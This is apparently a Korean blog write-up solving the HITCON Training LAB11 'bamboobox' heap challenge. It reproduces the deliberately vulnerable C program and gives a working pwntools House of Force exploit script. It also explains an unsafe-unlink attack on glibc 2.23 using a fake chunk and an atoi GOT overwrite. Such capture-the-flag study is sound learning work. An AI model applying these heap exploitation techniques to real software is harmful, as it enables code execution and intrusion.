ghkdtlwns987

[hitcon_training] LAB11 (bamboobox) 본문

hitcon_training

[hitcon_training] LAB11 (bamboobox)

2020/03/31 2020. 9. 6. 13:05
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
        int size ;
        char *name ;
};

struct item itemlist[100] = {0};

int num ;

void hello_message(){
        puts("There is a box with magic");
        puts("what do you want to do in the box");
}

void goodbye_message(){
        puts("See you next time");
        puts("Thanks you");
}

struct box{
        void (*hello_message)();
        void (*goodbye_message)();
};

void menu(){
        puts("----------------------------");
        puts("Bamboobox Menu");
        puts("----------------------------");
        puts("1.show the items in the box");
        puts("2.add a new item");
        puts("3.change the item in the box");
        puts("4.remove the item in the box");
        puts("5.exit");
        puts("----------------------------");
        printf("Your choice:");
}

void show_item(){
        int i ;
        if(!num){
                puts("No item in the box");
        }else{
                for(i = 0 ; i < 100; i++){
                        if(itemlist[i].name){
                                printf("%d : %s",i,itemlist[i].name);
                        }
                }
                puts("");
        }
}

int add_item(){

        char sizebuf[8] ;
        int length ;
        int i ;
        int size ;
        if(num < 100){
                printf("Please enter the length of item name:");
                read(0,sizebuf,8);
                length = atoi(sizebuf);
                if(length == 0){
                        puts("invaild length");
                        return 0;
                }
                for(i = 0 ; i < 100 ; i++){
                        if(!itemlist[i].name){
                                itemlist[i].size = length ;
                                itemlist[i].name = (char*)malloc(length);
                                printf("Please enter the name of item:");
                                size = read(0,itemlist[i].name,length);
                                itemlist[i].name[size] = '\x00';
                                num++;
                                break;
                        }
                }

        }else{
                puts("the box is full");
        }
        return 0;
}
void change_item(){

        char indexbuf[8] ;
        char lengthbuf[8];
        int length ;
        int index ;
        int readsize ;

        if(!num){
                puts("No item in the box");
        }else{
                printf("Please enter the index of item:");
                read(0,indexbuf,8);
                index = atoi(indexbuf);
                if(itemlist[index].name){
                        printf("Please enter the length of item name:");
                        read(0,lengthbuf,8);
                        length = atoi(lengthbuf);
                        printf("Please enter the new name of the item:");
                        readsize = read(0,itemlist[index].name,length);
                        *(itemlist[index].name + readsize) = '\x00';
                }else{
                        puts("invaild index");
                }

        }

}

void remove_item(){
        char indexbuf[8] ;
        int index ;

        if(!num){
                puts("No item in the box");
        }else{
                printf("Please enter the index of item:");
                read(0,indexbuf,8);
                index = atoi(indexbuf);
                if(itemlist[index].name){
                        free(itemlist[index].name);
                        itemlist[index].name = 0 ;
                        itemlist[index].size = 0 ;
                        puts("remove successful!!");
                        num-- ;
                }else{
                        puts("invaild index");
                }
        }
}

void magic(){
        int fd ;
        char buffer[100];
        fd = open("/home/bamboobox/flag",O_RDONLY);
        read(fd,buffer,sizeof(buffer));
        close(fd);
        printf("%s",buffer);
        exit(0);
}

int main(){
        char choicebuf[8];
        int choice;
        struct box *bamboo ;
        setvbuf(stdout,0,2,0);
        setvbuf(stdin,0,2,0);
        bamboo = malloc(sizeof(struct box));
        bamboo->hello_message = hello_message;
        bamboo->goodbye_message = goodbye_message;
        bamboo->hello_message();

        while(1){
                menu();
                read(0,choicebuf,8);
                choice = atoi(choicebuf);
                switch(choice){
                        case 1:
                                show_item();
                                break;
                        case 2:
                                add_item();
                                break;
                        case 3:
                                change_item();
                                break;
                        case 4:
                                remove_item();
                                break;
                        case 5:
                                bamboo->goodbye_message();
                                exit(0);
                                break;
 						default:
                                puts("invaild choice!!!");
                                break;

                }
        }

        return 0 ;
}

코드는 다음과 같다. 

 

 

 

===================House Of Force 문제풀이===================

간단히 add_item() 을 이용해 malloc() 해주고

change_item() 을 통해 malloc() index 를 입력해 값을 수정한다. 

House_of_force 에서 이용할 함수는 이 두개 뿐이니, 나머진 생략하겠다. 

 

난 case 5: 를 하게되면 

bamboo->goodbye_message() 를 maigc() 함수로 바꿔 넣어주겠다. 

 

그럼 먼저, top_chunk 를 덮어쓸 것이다. 

0xa172a8 에 top_chunk 의 size 가 저장된다.

 

그리고 change_item() 을 이용해 0xa172a8에 top_chunk를 저장해 준다. 

정상적으로 덮였다.

그럼 난 goodbye_message 에 maigc() 함수를 넣어주어야 하므로

goodbye_message - top_chunk_addr - 0x8 을 해줄 것이다. 

goodbye_message

goodbye_message 의 주소는 0xa17260 에 저장되어 있다. 

그래서 0xa17260 - 0xa172a8 - 0x10 을 계산해보면 -80 이 나와서 해봤더니 안됬다..

전에 언급했더 싶이 0x10(metadata) 를 빼주고, 0x8로 정렬이 되기 때문에 

-0x8 을 빼주면 더욱 정확한 연산이 가능해진다. 

 

고로 -88을 빼서 다시한번 해보자.

성공!

from pwn import*

context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

r = process('./bamboobox')

elf = ELF('./bamboobox')

gdb.attach(r)
exit_got = elf.got['exit']
magic = elf.symbols['magic']
goodbye_message = elf.symbols['goodbye_message']

def log_message():
    log.info('main+210(show_item)')
    log.info('main+222(add_item)')
    log.info('main+234(change_item)')
    log.info('main+246(remove_item)')
    log.info('exit_got = '+hex(exit_got))
    log.info('magic = '+hex(magic))
    log.info('goodbye_message = '+hex(goodbye_message))
    pause()

def show():
    r.sendlineafter('choice:','1')

def add_item(size,name):
    r.sendlineafter('choice:','2')
    r.sendline(str(size))
    r.sendline(str(name))
def change_item(index,length,name):
    r.sendlineafter('choice:','3')
    r.sendline(str(index))
    r.sendline(str(length))
    r.sendline(str(name))

def remove_item(index):
    r.sendlineafter('choice:','4')
    r.sendlineafter('index of item:',str(index))

def exit():
    r.sendline('5')

def main():
   log_message()

    #goodbye_message - top_chunk_addr - 0x10(metadata) - 0x10(prev_size, size)
    payload = ''
    payload += 'A'*40
    payload += p64(0xffffffffffffffff)

    add_item(32,'A'*0x10)
    change_item(0,48,payload)
    add_item(-88,'AAAA')
    add_item(16,p64(magic)*2)

    exit()
    
    r.interactive()
if __name__ == '__main__':
    main()
                                

 

 

===================Unsafe unlink 문제풀이===================

내가 알던 Unsafe unlink 기법은 Ubuntu 18.04 에서는 되질 않아, Ubuntu 16.04 로 했다.

unlink 취약점같은 경우는 free() 진행시, unlink 매크로에 의해 발생하는데,

how2heap 문서를 보면 unsafe unlink 같은 경우는 리눅스에서 Ubuntu14.04, 16.04 에서 적용된다.

 

 

그럼 unlink 매크로 코드를 보자

glibc2.23 과 glibc2.26 버젼에서의 코드 차이를 확인해보자. 

 

왼쪽이 glibc 2.23 에서의 malloc, 오른쪽은 glibc 2.26 에서의 malloc() 코드이다.

자세하게 알 필요는 없고, '이런부분이 다르구나!' 라는정도만 알아두자.  

 

그럼 unsafe unlink 취약점이란게 뭔지 알아보도록 하겠다.

 

glibc.2.23 코드를 보면 

#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                                               \
    BK = P->bk;                                                               \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                                                    \
        FD->bk = BK;                                                          \
        BK->fd = FD;  

맨 위쪽 코드를 보면

FD = P->fd;  로 인해 FD 포인터에 이전 포인터 fd 값을 저장한다.

BK = P->bk;  로 인해 BK 포인터에 이전 포인터 bk 값을 저장한다. 

그리고 if 문을 통해 FD->bk != P 와 BK->fd !=P 가 서로 다르다면 에로코드를 출력하고 종료가 된다. 

=> FD->bk 와 BK->fd 가 서로 같은 chunk 인지 검사한다.

 

(사실은 이전 glibc2.23 이전 버젼에서는 이러한 검증 코드도 없어 unlink 취약점을 공략하기 쉬웠는데, 한층 업그레이드 됬다..)

만약 if 문을 통과한다면

FD->bk 포인터에 BK 값을 저장하고, 

BK->fd 포인터에 FD 값을 저장한다.

 

Ubuntu16.04 에서부터는 (glibc2.23) 이 if 문을 우회시켜야 한다. 

(+glibc2.27(Ubuntu 18.04)에서도 될거같긴 한데 이는 추가로 연구해 봐야겠다.)

 

우선 문제풀이에 대한 글이기 때문에, 

glibc2.23 을 기준으로 Exploit 해보도록 하겠다. 

 

unsafe unlink 기법은 Fake Chunk 를 구성해 주는것이 핵심이다. 

Fake Chunk 라는 것은 가짜(Fake) Chunk 를 넣어줌으로서 시스템이 이게 실제 힙인지 착각하도록 하는 것이다.

 

이해를 돕기 위해 그림으로 표현해 보겠다

heap 을 보기쉽게 간단하게 표현해 봤다(실제는 저거와 좀 다름)

정상적인 heap 에서는 다음과 같이 서로를 가리키는데, 

unlink 매크로가 실행되면 

다음과 같이 연결이 된다.

 

Fake Chunk 를 구성하는데 있어 이러한 검증 코드를 우회해서 Unlink 시켰을 때 

병합이 이루어 지면서 FD나 BK 의 주소에 0x1000 이란 값을 넣었다면 

다음chunk 가 할당되게 되면 FD 나, BK 에 값을 overwrite() 할 수 있다는게 Unsafe Unlink 매크로이다.

 

그렇다면 이 문제를 unsafe unlink 기법으로 Exploit 해보겠다.

다음과 같이 3개의 힙을 각각 128 바이트씩 할당해 주었다.

 

 

다음으로 edit() 함수로 0번째 chunk 를 수정해 주었기 때문에, prev_size = 0 으로 해 주고, size 의 값도 0으로 설정해 주면 된다. 

 

그 다음 0x6020b0 , 0x6020b8 의 주소는 뭐냐면, 

위에 있는 C소스코드를 보면 itemlist 포인터의 주소이다. 

난 itemlist 의 주소에 magic() 함수의 주소를 overwrite() 해 줄 것이다. 

 

itemlist 포인터의 주소는 0x6020c8인데, 각각 0x6020b0, 0x6020b8 의 주소가 들어갔는데,

이러한 이유는 fd 의 주소는 x64이기 때문에 8byte 씩 정렬이 되는데, 

(itemlist-24) , (itemlist-16) 을 각각 fd,bk 로 넣어주면

fd 에는 0x6020c8, bk에도 0x6020c8 이 들어가게 된다.(각각 8byte 씩 떨어져 있기 때문에)

 

나머진 dummy() 를 넣어준다(128 - 32) = 96  

그리고 다음 heap 의 prev_size 와 size를 넣어줄 것이다(각각 0x80, 0x90)

 

이후에 remove(1) 을 해 주고 0번째 chunk에 Dummy(24) + atoi_got 를 넣고,

또 다시 change(0) 으로 magic() 주소를 넣어주면 된다. 

 

 

그림으로 표현하면 다음과 같다.

다음과 같이 3개의 malloc()을 할당했다.

 

이후 delete(1) 로 index 2번째의 heap을 free() 시키고, unlink 매크로가 발생하게 되는데,

change(0,'A'*24+atoi_got) 를 넣어주면 bk 에 atoi_got 가 들어간다.

 

위와같이 되는 모습이다.

왜 prev_size 에 magic() 이 들어가게 되어 exploit 이 되는지 모르겠다면 

위의 표를 조금만 더 들여다 보도록 하자.

'hitcon_training' 카테고리의 다른 글

[hitcon_training] LAB 15 (zoo)  (0) 2020.09.24
[hitcon_traininig] LAB 14 (magicheap)  (0) 2020.09.21
[hitcon_training] LAB13 (Extend Chunks)  (0) 2020.09.11
[hitcon_training] lab 12 (secretgarden)  (0) 2020.09.07
Comments